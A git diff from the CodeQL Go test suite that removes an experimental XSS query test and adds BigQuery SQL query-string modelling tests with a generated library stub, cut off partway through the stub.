--git a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected b/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected deleted file mode 100644 index c91fe813e9f..00000000000 --- a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected +++ /dev/null @@ -1,76 +0,0 @@ -#select -| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | Data from an $@ will not be auto-escaped because it was $@ to template.HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | Data from an $@ will not be auto-escaped because it was $@ to template.JS | HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | Data from an $@ will not be auto-escaped because it was $@ to template.JSStr | HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | Data from an $@ will not be auto-escaped because it was $@ to template.CSS | HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | Data from an $@ will not be auto-escaped because it was $@ to template.Srcset | HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | converted | -| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was $@ to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | converted | -edges -| HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | provenance | | -| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | provenance | | -| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | provenance | | -| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | provenance | | -| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | provenance | | -| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | provenance | | -| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:75:17:75:31 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:76:38:76:44 | escaped | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:81:10:81:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:84:38:84:40 | src | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:89:10:89:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | HTMLTemplateEscapingPassthrough.go:92:38:92:46 | converted | provenance | | -| HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | provenance | | -| HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | provenance | MaD:2 | -models -| 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | -| 2 | Summary: html/template; ; false; HTMLEscapeString; ; ; Argument[0]; ReturnValue; taint; manual | -nodes -| HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | semmle.label | c | -| HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | semmle.label | d | -| HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | semmle.label | e | -| HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | semmle.label | b | -| HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | semmle.label | f | -| HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | semmle.label | g | -| HTMLTemplateEscapingPassthrough.go:75:17:75:31 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:76:38:76:44 | escaped | semmle.label | escaped | -| HTMLTemplateEscapingPassthrough.go:81:10:81:24 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:84:38:84:40 | src | semmle.label | src | -| HTMLTemplateEscapingPassthrough.go:89:10:89:24 | call to UserAgent | semmle.label | call to UserAgent | -| HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | semmle.label | call to HTMLEscapeString | -| HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | semmle.label | src | -| HTMLTemplateEscapingPassthrough.go:92:38:92:46 | converted | semmle.label | converted | -subpaths diff --git a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref b/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref deleted file mode 100644 index c425b9a445b..00000000000 --- a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref +++ /dev/null @@ -1,2 +0,0 @@ -query: experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql -postprocess: utils/test/PrettyPrintModels.ql diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.expected b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.expected new file mode 100644 index 00000000000..42831abaf15 --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.expected @@ -0,0 +1,2 @@ +invalidModelRow +testFailures diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.ql b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.ql new file mode 100644 index 00000000000..fa869181ed9 --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.ql @@ -0,0 +1,56 @@ +import go +import semmle.go.dataflow.ExternalFlow +import ModelValidation +import utils.test.InlineExpectationsTest + +module SqlTest implements TestSig { + string getARelevantTag() { result = "query" } + + predicate hasActualResult(Location location, string element, string tag, string value) { + tag = "query" and + exists(SQL::Query q, SQL::QueryString qs | qs = q.getAQueryString() | + q.getLocation() = location and + element = q.toString() and + value = qs.toString() + ) + } +} + +module QueryString implements TestSig { + string getARelevantTag() { result = "querystring" } + + predicate hasActualResult(Location location, string element, string tag, string value) { + tag = "querystring" and + element = "" and + exists(SQL::QueryString qs | not exists(SQL::Query q | qs = q.getAQueryString()) | + qs.getLocation() = location and + value = qs.toString() + ) + } +} + +module Config implements DataFlow::ConfigSig { + predicate isSource(DataFlow::Node n) { n.asExpr() instanceof StringLit } + + predicate isSink(DataFlow::Node n) { + n = any(DataFlow::CallNode cn | cn.getTarget().getName() = "sink").getAnArgument() + } +} + +module Flow = TaintTracking::Global; + +module TaintFlow implements TestSig { + string getARelevantTag() { result = "flowfrom" } + + predicate hasActualResult(Location location, string element, string tag, string value) { + tag = "flowfrom" and + element = "" and + exists(DataFlow::Node fromNode, DataFlow::Node toNode | + toNode.getLocation() = location and + Flow::flow(fromNode, toNode) and + value = fromNode.asExpr().(StringLit).getValue() + ) + } +} + +import MakeTest> diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.expected b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.expected new file mode 100644 index 00000000000..f0954e9491b --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.expected @@ -0,0 +1 @@ +| bigquery.go:17:15:17:23 | untrusted | cloud.google.com/go/bigquery.Client | Query | diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.go b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.go new file mode 100644 index 00000000000..ae721c3a567 --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.go @@ -0,0 +1,18 @@ +package main + +//go:generate depstubber -vendor cloud.google.com/go/bigquery Client + +import ( + "cloud.google.com/go/bigquery" +) + +func getUntrustedString() string { + return "trouble" +} + +func main() { + untrusted := getUntrustedString() + var client *bigquery.Client + + client.Query(untrusted) // $ querystring=untrusted +} diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.ql b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.ql new file mode 100644 index 00000000000..ba7d0de1650 --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.ql @@ -0,0 +1,7 @@ +import go + +from SQL::QueryString qs, Function func, string a, string b +where + func.hasQualifiedName(a, b) and + qs = func.getACall().getSyntacticArgument(_) +select qs, a, b diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/go.mod b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/go.mod new file mode 100644 index 00000000000..0211ae17fea --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/go.mod @@ -0,0 +1,50 @@ +module bigquerytest + +go 1.24 + +require cloud.google.com/go/bigquery v1.68.0 + +require ( + cloud.google.com/go v0.121.0 // indirect + cloud.google.com/go/auth v0.16.1 // indirect + cloud.google.com/go/auth/oauth2adapt v0.2.8 // indirect + cloud.google.com/go/compute/metadata v0.6.0 // indirect + cloud.google.com/go/iam v1.5.2 // indirect + github.com/apache/arrow/go/v15 v15.0.2 // indirect + github.com/felixge/httpsnoop v1.0.4 // indirect + github.com/go-logr/logr v1.4.2 // indirect + github.com/go-logr/stdr v1.2.2 // indirect + github.com/goccy/go-json v0.10.2 // indirect + github.com/google/flatbuffers v23.5.26+incompatible // indirect + github.com/google/s2a-go v0.1.9 // indirect + github.com/google/uuid v1.6.0 // indirect + github.com/googleapis/enterprise-certificate-proxy v0.3.6 // indirect + github.com/googleapis/gax-go/v2 v2.14.1 // indirect + github.com/klauspost/compress v1.16.7 // indirect + github.com/klauspost/cpuid/v2 v2.2.5 // indirect + github.com/pierrec/lz4/v4 v4.1.18 // indirect + github.com/zeebo/xxh3 v1.0.2 // indirect + go.opentelemetry.io/auto/sdk v1.1.0 // indirect + go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.60.0 // indirect + go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.60.0 // indirect + go.opentelemetry.io/otel v1.35.0 // indirect + go.opentelemetry.io/otel/metric v1.35.0 // indirect + go.opentelemetry.io/otel/trace v1.35.0 // indirect + golang.org/x/crypto v0.37.0 // indirect + golang.org/x/exp v0.0.0-20240719175910-8a7402abbf56 // indirect + golang.org/x/mod v0.23.0 // indirect + golang.org/x/net v0.39.0 // indirect + golang.org/x/oauth2 v0.29.0 // indirect + golang.org/x/sync v0.14.0 // indirect + golang.org/x/sys v0.32.0 // indirect + golang.org/x/text v0.24.0 // indirect + golang.org/x/time v0.11.0 // indirect + golang.org/x/tools v0.30.0 // indirect + golang.org/x/xerrors v0.0.0-20240903120638-7835f813f4da // indirect + google.golang.org/api v0.231.0 // indirect + google.golang.org/genproto v0.0.0-20250303144028-a0af3efb3deb // indirect + google.golang.org/genproto/googleapis/api v0.0.0-20250428153025-10db94c68c34 // indirect + google.golang.org/genproto/googleapis/rpc v0.0.0-20250428153025-10db94c68c34 // indirect + google.golang.org/grpc v1.72.0 // indirect + google.golang.org/protobuf v1.36.6 // indirect +) diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/cloud.google.com/go/bigquery/stub.go b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/cloud.google.com/go/bigquery/stub.go new file mode 100644 index 00000000000..5f7b3e51f59 --- /dev/null +++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/cloud.google.com/go/bigquery/stub.go @@ -0,0 +1,1125 @@ +// Code generated by depstubber. DO NOT EDIT. +// This is a simple stub for cloud.google.com/go/bigquery, strictly for use in testing. + +// See the LICENSE file for information about the licensing of the original library. +// Source: cloud.google.com/go/bigquery (exports: Client; functions: ) + +// Package bigquery is a stub of cloud.google.com/go/bigquery, generated by depstubber. +package bigquery + +import ( + context "context" + time "time" +) + +type AccessEntry struct { + Role AccessRole + EntityType EntityType + Entity string + View *Table + Routine *Routine + Dataset *DatasetAccessEntry + Condition *Expr +} + +type AccessRole string + +type ArrowIterator interface { + Next() (*ArrowRecordBatch, error) + Schema() Schema + SerializedArrowSchema() []byte +} + +type ArrowRecordBatch struct { + Data []byte + Schema []byte + PartitionID string +} + +func (_ *ArrowRecordBatch) Read(_ []byte) (int, error) { + return 0, nil +} + +type AvroOptions struct { + UseAvroLogicalTypes bool +} + +type BigLakeConfiguration struct { + ConnectionID string + StorageURI string + FileFormat BigLakeFileFormat + TableFormat BigLakeTableFormat +} + +type BigLakeFileFormat string + +type BigLakeTableFormat string + +type CSVOptions struct { + AllowJaggedRows bool + AllowQuotedNewlines bool + Encoding Encoding + FieldDelimiter string + Quote string + ForceZeroQuote bool + SkipLeadingRows int64 + NullMarker string + PreserveASCIIControlCharacters bool +} + +type Client struct { + Location string +} + +func (_ *Client) Close() error { + return nil +} + +func (_ *Client) Dataset(_ string) *Dataset { + return nil +} + +func (_ *Client) DatasetInProject(_ string, _ string) *Dataset { + return nil +} + +func (_ *Client) Datasets(_ context.Context) *DatasetIterator { + return nil +} + +func (_ *Client) DatasetsInProject(_ context.Context, _ string) *DatasetIterator { + return nil +} + +func (_ *Client) EnableStorageReadClient(_ context.Context, _ ...interface{}) error { + return nil +} + +func (_ *Client) JobFromID(_ context.Context, _ string) (*Job, error) { + return nil, nil +} + +func (_ *Client) JobFromIDLocation(_ context.Context, _ string, _ string) (*Job, error) { + return nil, nil +} + +func (_ *Client) JobFromProject(_ context.Context, _ string, _ string, _ string) (*Job, error) { + return nil, nil +} + +func (_ *Client) Jobs(_ context.Context) *JobIterator { + return nil +} + +func (_ *Client) Project() string { + return "" +} + +func (_ *Client) Query(_ string) *Query { + return nil +} + +type CloneDefinition struct { + BaseTableReference *Table + CloneTime time.Time +} + +type Clustering struct { + Fields []string +} + +type ColumnNameCharacterMap string + +type ColumnReference struct { + ReferencingColumn string + ReferencedColumn string +} + +type Compression string + +type ConnectionProperty struct { + Key string + Value string +} + +type Copier struct { + JobIDConfig + CopyConfig +} + +func (_ *Copier) Run(_ context.Context) (*Job, error) { + return nil, nil +} + +type CopyConfig struct { + Srcs []*Table + Dst *Table + CreateDisposition TableCreateDisposition + WriteDisposition TableWriteDisposition + Labels map[string]string + DestinationEncryptionConfig *EncryptionConfig + OperationType TableCopyOperationType + JobTimeout time.Duration + Reservation string +} + +type DataFormat string + +type Dataset struct { + ProjectID string + DatasetID string +} + +func (_ *Dataset) Create(_ context.Context, _ *DatasetMetadata) error { + return nil +} + +func (_ *Dataset) CreateWithOptions(_ context.Context, _ *DatasetMetadata, _ ...DatasetOption) error { + return nil +} + +func (_ *Dataset) Delete(_ context.Context) error { + return nil +} + +func (_ *Dataset) DeleteWithContents(_ context.Context) error { + return nil +} + +func (_ *Dataset) Identifier(_ IdentifierFormat) (string, error) { + return "", nil +} + +func (_ *Dataset) Metadata(_ context.Context) (*DatasetMetadata, error) { + return nil, nil +} + +func (_ *Dataset) MetadataWithOptions(_ context.Context, _ ...DatasetOption) (*DatasetMetadata, error) { + return nil, nil +} + +func (_ *Dataset) Model(_ string) *Model { + return nil +} + +func (_ *Dataset) Models(_ context.Context) *ModelIterator { + return nil +} + +func (_ *Dataset) Routine(_ string) *Routine { + return nil +} + +func (_ *Dataset) Routines(_ context.Context) *RoutineIterator { + return nil +} + +func (_ *Dataset) Table(_ string) *Table { + return nil +} + +func (_ *Dataset) Tables(_ context.Context) *TableIterator { + return nil +} + +func (_ *Dataset) Update(_ context.Context, _ DatasetMetadataToUpdate, _ string) (*DatasetMetadata, error) { + return nil, nil +} + +func (_ *Dataset) UpdateWithOptions(_ context.Context, _ DatasetMetadataToUpdate, _ string, _ ...DatasetOption) (*DatasetMetadata, error) { + return nil, nil +} + +type DatasetAccessEntry struct { + Dataset *Dataset + TargetTypes []string +} + +type DatasetIterator struct { + ListHidden bool + Filter string + ProjectID string +} + +func (_ *DatasetIterator) Next() (*Dataset, error) { + return nil, nil +} + +func (_ *DatasetIterator) PageInfo() interface{} { + return nil +} + +type DatasetMetadata struct { + Name string + Description string + Location string + DefaultTableExpiration time.Duration + Labels map[string]string + Access []*AccessEntry + DefaultEncryptionConfig *EncryptionConfig + DefaultPartitionExpiration time.Duration + DefaultCollation string + ExternalDatasetReference *ExternalDatasetReference + MaxTimeTravel time.Duration + StorageBillingModel string + CreationTime time.Time + LastModifiedTime time.Time + FullID string + Tags []*DatasetTag + IsCaseInsensitive bool + ETag string +} + +type DatasetMetadataToUpdate struct { + Description interface{} + Name interface{} + DefaultTableExpiration interface{} + DefaultPartitionExpiration interface{} + DefaultEncryptionConfig *EncryptionConfig + DefaultCollation interface{} + ExternalDatasetReference *ExternalDatasetReference + MaxTimeTravel interface{} + StorageBillingModel interface{} + Access []*AccessEntry + IsCaseInsensitive interface{} +} + +func (_ *DatasetMetadataToUpdate) DeleteLabel(_ string) {} + +func (_ *DatasetMetadataToUpdate) SetLabel(_ string, _ string) {} + +type DatasetOption func(interface{}) + +type DatasetTag struct { + TagKey string + TagValue string +} + +type DecimalTargetType string + +type Encoding string + +type EncryptionConfig struct { + KMSKeyName string +} + +type EntityType int + +type Error struct { + Location string + Message string + Reason string +} + +func (_ Error) Error() string { + return "" +} + +type Expr struct { + Expression string + Title string + Description string + Location string +} + +type ExternalData interface{} + +type ExternalDataConfig struct { + SourceFormat DataFormat + SourceURIs []string + Schema Schema + AutoDetect bool + Compression Compression + IgnoreUnknownValues bool + MaxBadRecords int64 + Options ExternalDataConfigOptions + HivePartitioningOptions *HivePartitioningOptions + DecimalTargetTypes []DecimalTargetType + ConnectionID string + ReferenceFileSchemaURI string + MetadataCacheMode MetadataCacheMode +} + +type ExternalDataConfigOptions interface{} + +type ExternalDatasetReference struct { + Connection string + ExternalSource string +} + +type ExtractConfig struct { + Src *Table + SrcModel *Model + Dst *GCSReference + DisableHeader bool + Labels map[string]string + UseAvroLogicalTypes bool + JobTimeout time.Duration + Reservation string +} + +type Extractor struct { + JobIDConfig + ExtractConfig +} + +func (_ *Extractor) Run(_ context.Context) (*Job, error) { + return nil, nil +} + +type FieldSchema struct { + Name string + Description string + Repeated bool + Required bool + Type FieldType + PolicyTags *PolicyTagList + Schema Schema + MaxLength int64 + Precision int64 + Scale int64 + DefaultValueExpression string + Collation string + RangeElementType *RangeElementType + RoundingMode RoundingMode +} + +type FieldType string + +type FileConfig struct { + SourceFormat DataFormat + AutoDetect bool + MaxBadRecords int64 + IgnoreUnknownValues bool + Schema Schema + CSVOptions + ParquetOptions *ParquetOptions + AvroOptions *AvroOptions +} + +type ForeignKey struct { + Name string + ReferencedTable *Table + ColumnReferences []*ColumnReference +} + +type GCSReference struct { + URIs []string + FileConfig + DestinationFormat DataFormat + Compression Compression +} + +type HivePartitioningMode string + +type HivePartitioningOptions struct { + Mode HivePartitioningMode + SourceURIPrefix string + RequirePartitionFilter bool +} + +type IdentifierFormat string + +type Inserter struct { + SkipInvalidRows bool + IgnoreUnknownValues bool + TableTemplateSuffix string +} + +func (_ *Inserter) Put(_ context.Context, _ interface{}) error { + return nil +} + +type IntervalValue struct { + Years int32 + Months int32 + Days int32 + Hours int32 + Minutes int32 + Seconds int32 + SubSecondNanos int32 +} + +func (_ *IntervalValue) Canonicalize() *IntervalValue { + return nil +} + +func (_ *IntervalValue) IsCanonical() bool { + return false +} + +func (_ *IntervalValue) String() string { + return "" +} + +func (_ *IntervalValue) ToDuration() time.Duration { + return 0 +} + +type Job struct{} + +func (_ *Job) Cancel(_ context.Context) error { + return nil +} + +func (_ *Job) Children(_ context.Context) *JobIterator { + return nil +} + +func (_ *Job) Config() (JobConfig, error) { + return nil, nil +} + +func (_ *Job) Delete(_ context.Context) error { + return nil +} + +func (_ *Job) Email() string { + return "" +} + +func (_ *Job) ID() string { + return "" +} + +func (_ *Job) LastStatus() *JobStatus { + return nil +} + +func (_ *Job) Location() string { + return "" +} + +func (_ *Job) ProjectID() string { + return "" +} + +func (_ *Job) Read(_ context.Context) (*RowIterator, error) { + return nil, nil +} + +func (_ *Job) Status(_ context.Context) (*JobStatus, error) { + return nil, nil +} + +func (_ *Job) Wait(_ context.Context) (*JobStatus, error) { + return nil, nil +} + +type JobConfig interface{} + +type JobIDConfig struct { + JobID string + AddJobIDSuffix bool + Location string + ProjectID string +} + +type JobIterator struct { + ProjectID string + AllUsers bool + State State + MinCreationTime time.Time + MaxCreationTime time.Time + ParentJobID string +} + +func (_ *JobIterator) Next() (*Job, error) { + return nil, nil +} + +func (_ *JobIterator) PageInfo() interface{} { + return nil +} + +type JobStatistics struct { + CreationTime time.Time + StartTime time.Time + EndTime time.Time + TotalBytesProcessed int64 + Details Statistics + TotalSlotDuration time.Duration + ReservationUsage []*ReservationUsage + ReservationID string + NumChildJobs int64 + ParentJobID string + ScriptStatistics *ScriptStatistics + TransactionInfo *TransactionInfo + SessionInfo *SessionInfo + FinalExecutionDuration time.Duration + Edition ReservationEdition +} + +type JobStatus struct { + State State + Errors []*Error + Statistics *JobStatistics +} + +func (_ *JobStatus) Done() bool { + return false +} + +func (_ *JobStatus) Err() error { + return nil +} + +type LoadConfig struct { + Src LoadSource + Dst *Table + CreateDisposition TableCreateDisposition + WriteDisposition TableWriteDisposition + Labels map[string]string + TimePartitioning *TimePartitioning + RangePartitioning *RangePartitioning + Clustering *Clustering + DestinationEncryptionConfig *EncryptionConfig + SchemaUpdateOptions []string + UseAvroLogicalTypes bool + ProjectionFields []string + HivePartitioningOptions *HivePartitioningOptions + DecimalTargetTypes []DecimalTargetType + JobTimeout time.Duration + ReferenceFileSchemaURI string + CreateSession bool + ConnectionProperties []*ConnectionProperty + MediaOptions []interface{} + ColumnNameCharacterMap ColumnNameCharacterMap + Reservation string +} + +type LoadSource interface{} + +type Loader struct { + JobIDConfig + LoadConfig +} + +func (_ *Loader) Run(_ context.Context) (*Job, error) { + return nil, nil +} + +type MaterializedViewDefinition struct { + EnableRefresh bool + LastRefreshTime time.Time + Query string + RefreshInterval time.Duration + AllowNonIncrementalDefinition bool + MaxStaleness *IntervalValue +} + +type MetadataCacheMode string + +type Model struct { + ProjectID string + DatasetID string + ModelID string +} + +func (_ *Model) Delete(_ context.Context) error { + return nil +} + +func (_ *Model) ExtractorTo(_ *GCSReference) *Extractor { + return nil +} + +func (_ *Model) FullyQualifiedName() string { + return "" +} + +func (_ *Model) Identifier(_ IdentifierFormat) (string, error) { + return "", nil +} + +func (_ *Model) Metadata(_ context.Context) (*ModelMetadata, error) { + return nil, nil +} + +func (_ *Model) Update(_ context.Context, _ ModelMetadataToUpdate, _ string) (*ModelMetadata, error) { + return nil, nil +} + +type 